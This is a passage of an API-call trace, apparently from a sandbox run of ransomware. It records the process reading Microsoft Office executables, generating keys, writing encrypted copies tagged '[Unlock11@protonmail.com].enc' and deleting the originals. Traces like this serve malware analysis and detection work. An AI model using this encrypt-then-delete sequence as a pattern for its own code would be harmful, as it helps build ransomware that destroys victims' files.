lpLocalFileTime=0x9bb4f0) returned 1 [0135.004] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.004] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.004] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.004] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.004] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.004] GetLastError () returned 0x0 [0135.005] GetCurrentThreadId () returned 0x9b0 [0135.005] GetLastError () returned 0x0 [0135.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6578 | out: hHeap=0x2ad0000) returned 1 [0135.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0135.005] GetLastError () returned 0x0 [0135.005] GetLastError () returned 0x0 [0135.005] GetLastError () returned 0x0 [0135.005] GetLastError () returned 0x0 [0135.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0135.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d63f8 [0135.005] GetLastError () returned 0x0 [0135.006] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0135.006] GetFileType (hFile=0x3ac) returned 0x1 [0135.006] GetLastError () returned 0x0 [0135.006] GetCurrentThreadId () returned 0x9b0 [0135.006] GetLastError () returned 0x0 [0135.006] GetFileType (hFile=0x3ac) returned 0x1 [0135.006] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0135.007] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.007] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.007] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.007] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.007] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.007] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.007] GetLastError () returned 0x0 [0135.007] GetCurrentThreadId () returned 0x9b0 [0135.007] GetLastError () returned 0x0 [0135.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63f8 | out: hHeap=0x2ad0000) returned 1 [0135.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0135.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0135.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0135.008] GetLastError () returned 0x0 [0135.008] GetLastError () returned 0x0 [0135.008] GetCurrentThreadId () returned 0x9b0 [0135.008] GetLastError () returned 0x0 [0135.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0135.008] GetLastError () returned 0x0 [0135.008] GetLastError () returned 0x0 [0135.008] GetCurrentThreadId () returned 0x9b0 [0135.008] GetLastError () returned 0x0 [0135.008] GetLastError () returned 0x0 [0135.010] GetLastError () returned 0x0 [0135.010] GetCurrentThreadId () returned 0x9b0 [0135.011] GetLastError () returned 0x0 [0135.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64a8 | out: hHeap=0x2ad0000) returned 1 [0135.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0135.011] GetLastError () returned 0x0 [0135.011] GetLastError () returned 0x0 [0135.011] GetLastError () returned 0x0 [0135.011] GetLastError () returned 0x0 [0135.011] GetCurrentThreadId () returned 0x9b0 [0135.012] GetLastError () returned 0x0 [0135.012] GetCurrentThreadId () returned 0x9b0 [0135.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37a40f0 [0135.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0135.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0135.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0135.012] GetLastError () returned 0x0 [0135.014] GetLastError () returned 0x0 [0135.014] GetCurrentThreadId () returned 0x9b0 [0135.014] GetLastError () returned 0x0 [0135.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0135.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0135.014] GetLastError () returned 0x0 [0135.015] GetLastError () returned 0x0 [0135.015] GetCurrentThreadId () returned 0x9b0 [0135.015] GetLastError () returned 0x0 [0135.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0135.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6408 [0135.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63b8 | out: hHeap=0x2ad0000) returned 1 [0135.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0135.016] GetLastError () returned 0x0 [0135.016] GetLastError () returned 0x0 [0135.016] GetLastError () returned 0x0 [0135.016] GetLastError () returned 0x0 [0135.016] GetCurrentThreadId () returned 0x9b0 [0135.016] GetLastError () returned 0x0 [0135.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0135.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0135.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0135.017] GetLastError () returned 0x0 [0135.018] GetLastError () returned 0x0 [0135.018] GetCurrentThreadId () returned 0x9b0 [0135.018] GetLastError () returned 0x0 [0135.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0135.018] GetCurrentThreadId () returned 0x9b0 [0135.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0135.018] GetLastError () returned 0x0 [0135.019] GetLastError () returned 0x0 [0135.019] GetCurrentThreadId () returned 0x9b0 [0135.019] GetLastError () returned 0x0 [0135.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0135.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64f8 [0135.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6408 | out: hHeap=0x2ad0000) returned 1 [0135.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0135.020] GetLastError () returned 0x0 [0135.020] GetLastError () returned 0x0 [0135.020] GetLastError () returned 0x0 [0135.020] GetLastError () returned 0x0 [0135.020] GetCurrentThreadId () returned 0x9b0 [0135.021] GetLastError () returned 0x0 [0135.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0135.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0135.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0135.021] GetLastError () returned 0x0 [0135.022] GetLastError () returned 0x0 [0135.022] GetCurrentThreadId () returned 0x9b0 [0135.022] GetLastError () returned 0x0 [0135.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0135.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0135.022] GetLastError () returned 0x0 [0135.023] GetLastError () returned 0x0 [0135.023] GetCurrentThreadId () returned 0x9b0 [0135.023] GetLastError () returned 0x0 [0135.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0135.023] GetCurrentThreadId () returned 0x9b0 [0135.023] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37940d0, Size=0x4af5) returned 0x37940d0 [0135.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63c8 [0135.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64f8 | out: hHeap=0x2ad0000) returned 1 [0135.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4af8) returned 0x36f8548 [0135.023] GetLastError () returned 0x0 [0135.023] GetLastError () returned 0x0 [0135.024] GetLastError () returned 0x0 [0135.024] GetLastError () returned 0x0 [0135.024] GetCurrentThreadId () returned 0x9b0 [0135.024] GetLastError () returned 0x0 [0135.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0135.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0135.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0135.024] GetLastError () returned 0x0 [0135.025] GetLastError () returned 0x0 [0135.025] GetCurrentThreadId () returned 0x9b0 [0135.025] GetLastError () returned 0x0 [0135.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fd048 | out: hHeap=0x2ad0000) returned 1 [0135.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0135.025] GetLastError () returned 0x0 [0135.025] GetLastError () returned 0x0 [0135.025] GetCurrentThreadId () returned 0x9b0 [0135.025] GetLastError () returned 0x0 [0135.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0135.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0135.026] GetLastError () returned 0x0 [0135.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0135.026] CloseHandle (hObject=0x3ac) returned 1 [0135.026] GetLastError () returned 0x0 [0135.026] GetCurrentThreadId () returned 0x9b0 [0135.026] GetLastError () returned 0x0 [0135.026] GetLastError () returned 0x0 [0135.026] CloseHandle (hObject=0x39c) returned 1 [0135.027] GetLastError () returned 0x0 [0135.027] GetCurrentThreadId () returned 0x9b0 [0135.027] GetLastError () returned 0x0 [0135.027] GetCurrentThreadId () returned 0x9b0 [0135.027] GetLastError () returned 0x0 [0135.027] GetLastError () returned 0x0 [0135.027] GetLastError () returned 0x0 [0135.027] GetLastError () returned 0x0 [0135.027] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe")) returned 1 [0135.029] GetLastError () returned 0x0 [0135.029] GetCurrentThreadId () returned 0x9b0 [0135.030] GetLastError () returned 0x0 [0135.030] GetLastError () returned 0x0 [0135.030] GetLastError () returned 0x0 [0135.030] GetLastError () returned 0x0 [0135.030] GetLastError () returned 0x0 [0135.030] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", lpFilePart=0x9bada4*="AppVDllSurrogate64.exe") returned 0x44 [0135.030] GetCurrentThreadId () returned 0x9b0 [0135.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0135.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0135.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0135.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0135.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028328 [0135.031] GetLastError () returned 0x0 [0135.031] GetLastError () returned 0x0 [0135.031] GetLastError () returned 0x0 [0135.031] GetLastError () returned 0x0 [0135.031] GetCurrentThreadId () returned 0x9b0 [0135.031] GetLastError () returned 0x0 [0135.031] GetCurrentThreadId () returned 0x9b0 [0135.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028328 | out: hHeap=0x2ad0000) returned 1 [0135.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028328 [0135.031] GetLastError () returned 0x0 [0135.032] GetLastError () returned 0x0 [0135.032] GetLastError () returned 0x0 [0135.032] GetLastError () returned 0x0 [0135.032] GetCurrentThreadId () returned 0x9b0 [0135.032] GetLastError () returned 0x0 [0135.032] GetLastError () returned 0x0 [0135.032] GetLastError () returned 0x0 [0135.032] GetLastError () returned 0x0 [0135.032] GetLastError () returned 0x0 [0135.032] GetCurrentThreadId () returned 0x9b0 [0135.032] GetLastError () returned 0x0 [0135.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028328 | out: hHeap=0x2ad0000) returned 1 [0135.033] GetLastError () returned 0x0 [0135.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0135.033] GetLastError () returned 0x0 [0135.033] GetLastError () returned 0x0 [0135.033] GetLastError () returned 0x0 [0135.033] GetCurrentThreadId () returned 0x9b0 [0135.033] GetLastError () returned 0x0 [0135.033] GetCurrentThreadId () returned 0x9b0 [0135.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a568 [0135.033] GetLastError () returned 0x0 [0135.034] GetLastError () returned 0x0 [0135.034] GetLastError () returned 0x0 [0135.034] GetLastError () returned 0x0 [0135.034] GetCurrentThreadId () returned 0x9b0 [0135.034] GetLastError () returned 0x0 [0135.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0135.034] GetLastError () returned 0x0 [0135.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0135.034] GetLastError () returned 0x0 [0135.034] GetLastError () returned 0x0 [0135.035] GetLastError () returned 0x0 [0135.035] GetCurrentThreadId () returned 0x9b0 [0135.035] GetLastError () returned 0x0 [0135.035] GetLastError () returned 0x0 [0135.035] GetLastError () returned 0x0 [0135.035] GetLastError () returned 0x0 [0135.035] GetLastError () returned 0x0 [0135.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0135.035] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e2e85a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4d8)) returned 1 [0135.035] GetLastError () returned 0x0 [0135.036] GetCurrentThreadId () returned 0x9b0 [0135.036] GetLastError () returned 0x0 [0135.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbcb0 | out: hHeap=0x2ad0000) returned 1 [0135.036] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3657a84 | out: pbBuffer=0x3657a84) returned 1 [0135.036] GetCurrentThreadId () returned 0x9b0 [0135.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0135.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0135.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0135.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028328 [0135.036] GetLastError () returned 0x0 [0135.037] GetLastError () returned 0x0 [0135.037] GetLastError () returned 0x0 [0135.037] GetLastError () returned 0x0 [0135.037] GetCurrentThreadId () returned 0x9b0 [0135.037] GetLastError () returned 0x0 [0135.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028328 | out: hHeap=0x2ad0000) returned 1 [0135.037] GetCurrentThreadId () returned 0x9b0 [0135.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0135.037] GetLastError () returned 0x0 [0135.037] GetLastError () returned 0x0 [0135.038] GetLastError () returned 0x0 [0135.038] GetLastError () returned 0x0 [0135.038] GetCurrentThreadId () returned 0x9b0 [0135.038] GetLastError () returned 0x0 [0135.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0135.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6568 [0135.038] GetCurrentThreadId () returned 0x9b0 [0135.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3028 | out: hHeap=0x2ad0000) returned 1 [0135.038] GetLastError () returned 0x0 [0135.038] GetLastError () returned 0x0 [0135.038] GetLastError () returned 0x0 [0135.039] GetLastError () returned 0x0 [0135.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0135.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d64c8 [0135.039] GetLastError () returned 0x0 [0135.039] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0135.039] GetFileType (hFile=0x39c) returned 0x1 [0135.039] GetLastError () returned 0x0 [0135.039] GetCurrentThreadId () returned 0x9b0 [0135.039] GetLastError () returned 0x0 [0135.040] GetFileType (hFile=0x39c) returned 0x1 [0135.040] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0135.040] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.040] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.040] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.040] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.040] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.040] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.040] GetLastError () returned 0x0 [0135.040] GetCurrentThreadId () returned 0x9b0 [0135.040] GetLastError () returned 0x0 [0135.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64c8 | out: hHeap=0x2ad0000) returned 1 [0135.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd00 | out: hHeap=0x2ad0000) returned 1 [0135.041] GetLastError () returned 0x0 [0135.041] GetLastError () returned 0x0 [0135.041] GetLastError () returned 0x0 [0135.041] GetLastError () returned 0x0 [0135.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0135.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d64f8 [0135.041] GetLastError () returned 0x0 [0135.041] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0135.042] GetFileType (hFile=0x3ac) returned 0x1 [0135.042] GetLastError () returned 0x0 [0135.042] GetCurrentThreadId () returned 0x9b0 [0135.042] GetLastError () returned 0x0 [0135.042] GetFileType (hFile=0x3ac) returned 0x1 [0135.042] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0135.042] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.042] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.042] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.042] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.042] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.042] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.043] GetLastError () returned 0x0 [0135.043] GetCurrentThreadId () returned 0x9b0 [0135.043] GetLastError () returned 0x0 [0135.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64f8 | out: hHeap=0x2ad0000) returned 1 [0135.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0135.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0135.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0135.043] GetLastError () returned 0x0 [0135.043] GetLastError () returned 0x0 [0135.043] GetCurrentThreadId () returned 0x9b0 [0135.043] GetLastError () returned 0x0 [0135.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0135.044] GetLastError () returned 0x0 [0135.044] GetLastError () returned 0x0 [0135.044] GetCurrentThreadId () returned 0x9b0 [0135.044] GetLastError () returned 0x0 [0135.044] GetLastError () returned 0x0 [0135.046] GetLastError () returned 0x0 [0135.046] GetCurrentThreadId () returned 0x9b0 [0135.046] GetLastError () returned 0x0 [0135.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6568 | out: hHeap=0x2ad0000) returned 1 [0135.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0135.046] GetLastError () returned 0x0 [0135.047] GetLastError () returned 0x0 [0135.047] GetLastError () returned 0x0 [0135.047] GetLastError () returned 0x0 [0135.047] GetCurrentThreadId () returned 0x9b0 [0135.047] GetLastError () returned 0x0 [0135.047] GetCurrentThreadId () returned 0x9b0 [0135.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37a40f0 [0135.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0135.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0135.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0135.048] GetLastError () returned 0x0 [0135.049] GetLastError () returned 0x0 [0135.049] GetCurrentThreadId () returned 0x9b0 [0135.049] GetLastError () returned 0x0 [0135.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0135.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0135.050] GetLastError () returned 0x0 [0135.051] GetLastError () returned 0x0 [0135.051] GetCurrentThreadId () returned 0x9b0 [0135.051] GetLastError () returned 0x0 [0135.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0135.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63d8 [0135.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6428 | out: hHeap=0x2ad0000) returned 1 [0135.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0135.051] GetLastError () returned 0x0 [0135.052] GetLastError () returned 0x0 [0135.052] GetLastError () returned 0x0 [0135.052] GetLastError () returned 0x0 [0135.052] GetCurrentThreadId () returned 0x9b0 [0135.052] GetLastError () returned 0x0 [0135.052] GetCurrentThreadId () returned 0x9b0 [0135.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0135.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0135.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0135.053] GetLastError () returned 0x0 [0135.053] GetLastError () returned 0x0 [0135.054] GetCurrentThreadId () returned 0x9b0 [0135.054] GetLastError () returned 0x0 [0135.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0135.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0135.054] GetLastError () returned 0x0 [0135.054] GetLastError () returned 0x0 [0135.055] GetCurrentThreadId () returned 0x9b0 [0135.055] GetLastError () returned 0x0 [0135.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 